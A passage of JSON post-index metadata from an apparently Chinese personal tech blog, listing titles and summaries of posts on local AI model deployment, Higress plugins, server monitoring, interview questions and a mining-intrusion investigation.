MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":"","results":[]},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":"","results":[]},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":"","results":[]},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","date":{"start_date":"2024-06-26","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240626-demo","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","title":"天池大赛Higress插件官方demo详细部署+调试","status":"Published","publishDate":1719360000000,"publishDay":"2024-6-26","lastEditedDate":"2024-06-28T08:12:44.310Z","lastEditedDay":"2024-6-28","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","tagItems":[{"name":"推荐","color":"red"},{"name":"go","color":"gray"},{"name":"折腾","color":"purple"}],"password":"","results":[]},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","date":{"start_date":"2024-06-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240625-higress","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","title":"Java程序员学习Go开发Higress的WASM插件","status":"Published","publishDate":1719273600000,"publishDay":"2024-6-25","lastEditedDate":"2024-06-26T04:54:09.169Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"},{"name":"docker","color":"gray"},{"name":"go","color":"gray"}],"password":"","results":[]},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","date":{"start_date":"2024-05-25","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240525-LM-04","tags":["面试"],"summary":"脉脉面试题","title":"万里长征-04-脉脉","status":"Published","publishDate":1716595200000,"publishDay":"2024-5-25","lastEditedDate":"2024-06-26T04:59:08.858Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"面试","color":"yellow"}],"password":"","results":[]},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","date":{"start_date":"2024-04-29","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240429-LM-fox","tags":["面试"],"summary":"搜狐面试题","title":"万里长征-03-搜狐","status":"Published","publishDate":1714348800000,"publishDay":"2024-4-29","lastEditedDate":"2024-05-25T02:20:00.057Z","lastEditedDay":"2024-5-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"面试","color":"yellow"}],"password":"","results":[]},{"id":"146219e7-c178-4485-b223-22f4b977333c","date":{"start_date":"2024-04-29","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240429-prometheus","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","title":"Prometheus+Grafana多方位监控","status":"Published","publishDate":1714348800000,"publishDay":"2024-4-29","lastEditedDate":"2024-04-29T03:07:56.545Z","lastEditedDay":"2024-4-29","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","tagItems":[{"name":"推荐","color":"red"},{"name":"运维","color":"gray"}],"password":"","results":[]},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","date":{"start_date":"2024-04-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240425-nginx","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","title":"Nginx配置备忘录","status":"Published","publishDate":1714003200000,"publishDay":"2024-4-25","lastEditedDate":"2024-04-24T16:37:04.342Z","lastEditedDay":"2024-4-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","tagItems":[{"name":"运维","color":"gray"},{"name":"工具","color":"pink"}],"password":"","results":[]},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","date":{"start_date":"2024-04-08","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240408-LM-02","tags":["面试","文字"],"summary":"跟谁学面试题","title":"万里长征-02-跟谁学","status":"Published","publishDate":1712534400000,"publishDay":"2024-4-8","lastEditedDate":"2024-04-08T17:08:09.011Z","lastEditedDay":"2024-4-9","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","tagItems":[{"name":"面试","color":"yellow"},{"name":"文字","color":"brown"}],"password":"","results":[]},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","date":{"start_date":"2024-04-05","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240405-LM-01","tags":["面试"],"summary":"贝壳面试题","title":"万里长征-01-贝壳","status":"Published","publishDate":1712275200000,"publishDay":"2024-4-5","lastEditedDate":"2024-04-08T06:03:22.365Z","lastEditedDay":"2024-4-8","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","tagItems":[{"name":"面试","color":"yellow"}],"password":"","results":[]},{"id":"4d955058-b605-46cf-b242-1535b732af30","date":{"start_date":"2024-04-05"},"type":"Post","category":"万里长征","slug":"article/240405-LM","tags":["面试","推荐"],"summary":"常见面试题汇总","title":"万里长征","status":"Published","publishDate":1712275200000,"publishDay":"2024-4-5","lastEditedDate":"2024-04-07T09:23:11.250Z","lastEditedDay":"2024-4-7","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"面试","color":"yellow"},{"name":"推荐","color":"red"}],"password":"","results":[]},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","date":{"start_date":"2024-04-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240405-cpu","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","title":"Java程序CPU异常监控bash脚本","status":"Published","publishDate":1712275200000,"publishDay":"2024-4-5","lastEditedDate":"2024-04-05T12:17:00.259Z","lastEditedDay":"2024-4-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","tagItems":[{"name":"运维","color":"gray"},{"name":"linux","color":"orange"},{"name":"脚本","color":"orange"},{"name":"工具","color":"pink"}],"password":"","results":[]},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"2024-3-25","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"2024-3-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":"","results":[]},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"2024-3-20","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"2024-3-20","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":"","results":[]},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"2024-3-19","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"2024-3-20","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":"","results":[]},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"2024-1-24","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"2024-1-24","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":"","results":[]},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"2024-1-21","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"2024-1-21","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":"","results":[]},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"2024-1-19","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"2024-3-20","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":"","results":[]},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"2024-1-18","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":"","results":[]},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"将进酒","status":"Published","publishDate":1704067200000,"publishDay":"2024-1-1","lastEditedDate":"2024-04-06T03:31:44.998Z","lastEditedDay":"2024-4-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":"","results":[]},{"id":"041a3743-f888-4476-b947-fff856745c02","password":"d29c88a2bd1f06fcc58605a0261679a7","date":{"start_date":"2021-11-05"},"type":"Post","category":"未发布","slug":"article/example-2","tags":["开发","工具"],"summary":"本文需要输入密码才可访问,密码: 123456","title":"加锁文章2 - 密码123456","status":"Invisible","publishDate":1636070400000,"publishDay":"2021-11-5","lastEditedDate":"2024-03-22T14:50:54.674Z","lastEditedDay":"2024-3-22","fullWidth":false,"pageIcon":"","pageCover":"https://images.unsplash.com/photo-1599318011235-904154a09c36?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=041a3743-f888-4476-b947-fff856745c02","pageCoverThumbnail":"https://images.unsplash.com/photo-1599318011235-904154a09c36?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=041a3743-f888-4476-b947-fff856745c02&width=800&fmt=webp","tagItems":[{"name":"开发","color":"pink"},{"name":"工具","color":"pink"}]},{"id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-3","tags":["新闻","推荐"],"summary":"仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容。","title":"EMPTY-ARTICLE-3","status":"Invisible","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-19T02:19:55.364Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1542907299-8bd21f11f540?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=47aba706-2cde-4eef-9fb8-0cdd0f7805c9","pageCoverThumbnail":"https://images.unsplash.com/photo-1542907299-8bd21f11f540?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=47aba706-2cde-4eef-9fb8-0cdd0f7805c9&width=800&fmt=webp","tagItems":[{"name":"新闻","color":"orange"},{"name":"推荐","color":"red"}],"password":""},{"id":"93032c73-435f-4a73-8087-b71ecff3a86b","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-4","tags":["健康","推荐"],"summary":"如果您的Notion数据库已经修改了内容,发现网站内容还是旧的,说明绑定NotionPageID失败了,请重新检查Vercel后台是否正确配置好ID,并尝试重新部署。","title":"绑定成功测试-4","status":"Invisible","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-19T02:19:59.318Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1671726203449-34e89df45211?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=93032c73-435f-4a73-8087-b71ecff3a86b","pageCoverThumbnail":"https://images.unsplash.com/photo-1671726203449-34e89df45211?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=93032c73-435f-4a73-8087-b71ecff3a86b&width=800&fmt=webp","tagItems":[{"name":"健康","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"973ede9c-1a10-4482-be06-324fd481d34f","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-5","tags":["健康","推荐"],"summary":"仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容","title":"空白文章5","status":"Invisible","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-19T02:19:53.512Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1495446815901-a7297e633e8d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=973ede9c-1a10-4482-be06-324fd481d34f","pageCoverThumbnail":"https://images.unsplash.com/photo-1495446815901-a7297e633e8d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=973ede9c-1a10-4482-be06-324fd481d34f&width=800&fmt=webp","tagItems":[{"name":"健康","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"163026f4-445a-4595-936d-c0df491c3776","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-6","tags":["金钱","推荐"],"summary":"仅供列表展示、文章无内容","title":"空白文章6","status":"Invisible","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-19T02:19:50.804Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random/720x480/?encryption&t=163026f4-445a-4595-936d-c0df491c3776","pageCoverThumbnail":"https://source.unsplash.com/random/720x480/?encryption&t=163026f4-445a-4595-936d-c0df491c3776","tagItems":[{"name":"金钱","color":"green"},{"name":"推荐","color":"red"}],"password":""},{"id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-7","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容;\n这里写文章的前言:\n一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。","title":"空白文章7","status":"Invisible","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-19T02:19:57.241Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":""},{"id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-8","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容","title":"空白文章8","status":"Invisible","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-19T02:20:08.239Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1573164713988-8665fc963095?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=b4a852c3-8bab-43ef-b748-8dec9d0940f9","pageCoverThumbnail":"https://images.unsplash.com/photo-1573164713988-8665fc963095?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=b4a852c3-8bab-43ef-b748-8dec9d0940f9&width=800&fmt=webp","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":""},{"id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-9","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容","title":"空白文章9","status":"Invisible","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-19T02:20:06.142Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1511632765486-a01980e01a18?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=463a12f0-d5d5-4492-bb0f-8058cea32a41","pageCoverThumbnail":"https://images.unsplash.com/photo-1511632765486-a01980e01a18?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=463a12f0-d5d5-4492-bb0f-8058cea32a41&width=800&fmt=webp","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":""},{"id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-10","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容、文章描述摘要过长时会被截断,仅显示前面几行内容,根据主题决定。这是一个示范","title":"空白文章10 标题注意不应该过长,否则影响显示效果,这是一个示范","status":"Invisible","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-19T02:20:03.738Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1524601500432-1e1a4c71d692?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=95ddf5c1-569e-4c61-a1e8-6507fe59fc97","pageCoverThumbnail":"https://images.unsplash.com/photo-1524601500432-1e1a4c71d692?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=95ddf5c1-569e-4c61-a1e8-6507fe59fc97&width=800&fmt=webp","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":""},{"id":"7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","icon":"fas fa-home","date":{"start_date":"2022-05-18"},"type":"Page","slug":"/","title":"主页","status":"Published","category":"","publishDate":1652832000000,"publishDay":"2022-5-18","lastEditedDate":"2024-01-18T17:40:34.961Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"password":""},{"id":"7b6c5022-b0db-4dc3-a38e-47cefabe2caf","icon":"fas fa-search","date":{"start_date":"2021-07-02"},"type":"Menu","slug":"/search","tags":["文字"],"summary":"跳转到’/search’搜索页的菜单","title":"搜索","status":"Invisible","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.112Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"文字","color":"brown"}],"to":"/search","name":"搜索","password":""},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas 